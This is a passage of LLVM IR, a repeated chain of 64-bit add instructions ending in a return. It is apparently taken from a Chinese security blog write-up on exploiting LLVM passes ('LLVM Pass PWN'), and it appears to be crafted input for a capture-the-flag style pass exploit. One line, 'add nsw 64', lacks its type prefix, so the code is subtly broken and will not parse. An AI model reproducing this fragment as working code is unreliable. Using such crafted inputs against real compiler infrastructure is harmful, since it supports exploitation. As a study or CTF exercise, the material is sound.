%260 = add nsw i64 %259, 43499
%261 = add nsw i64 %260, 43499
%262 = add nsw i64 %261, 43499
%263 = add nsw i64 %262, 43499
%264 = add nsw i64 %263, 43499
%265 = add nsw i64 %264, 43499
%266 = add nsw i64 %265, 43499
%267 = add nsw i64 %266, 43499
%268 = add nsw i64 %267, 43499
%269 = add nsw i64 %268, 43499
%270 = add nsw i64 %269, 43499
%271 = add nsw i64 %270, 43499
%272 = add nsw i64 %271, 43499
%273 = add nsw i64 %272, 43499
%274 = add nsw i64 %273, 43499
%275 = add nsw i64 %274, 43499
%276 = add nsw i64 %275, 43499
%277 = add nsw i64 %276, 43499
%278 = add nsw i64 %277, 43499
%279 = add nsw i64 %278, 43499
%280 = add nsw i64 %279, 43499
%281 = add nsw i64 %280, 43499
%282 = add nsw i64 %281, 43499
%283 = add nsw i64 %282, 43499
%284 = add nsw i64 %283, 43499
%285 = add nsw i64 %284, 43499
%286 = add nsw i64 %285, 43499
%287 = add nsw i64 %286, 43499
%288 = add nsw i64 %287, 43499
%289 = add nsw i64 %288, 43499
%290 = add nsw i64 %289, 43499
%291 = add nsw i64 %290, 43499
%292 = add nsw i64 %291, 43499
%293 = add nsw i64 %292, 43499
%294 = add nsw i64 %293, 43499
%295 = add nsw i64 %294, 43499
%296 = add nsw i64 %295, 43499
%297 = add nsw i64 %296, 43499
%298 = add nsw i64 %297, 43499
%299 = add nsw i64 %298, 43499
%300 = add nsw i64 %299, 43499
%301 = add nsw i64 %300, 43499
%302 = add nsw 64 %301, 43499
%303 = add nsw i64 %302, 43499
%304 = add nsw i64 %303, 43499
%305 = add nsw i64 %304, 43499
%306 = add nsw i64 %305, 43499
%307 = add nsw i64 %306, 43499
%308 = add nsw i64 %307, 43499
%309 = add nsw i64 %308, 43499
%310 = add nsw i64 %309, 43499
%311 = add nsw i64 %310, 43499
%312 = add nsw i64 %311, 43499
%313 = add nsw i64 %312, 1
%314 = add nsw i64 %313, 1
%315 = add nsw i64 %314, 1
%316 = add nsw i64 %315, 1
%317 = add nsw i64 %316, 1
%318 = add nsw i64 %317, 1
%319 = add nsw i64 %318, 1
%320 = add nsw i64 %319, 1
%321 = add nsw i64 %320, 1
ret i64 %321
}
原文始发于微信公众号(山石网科安全技术研究院):LLVM Pass PWN(下)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论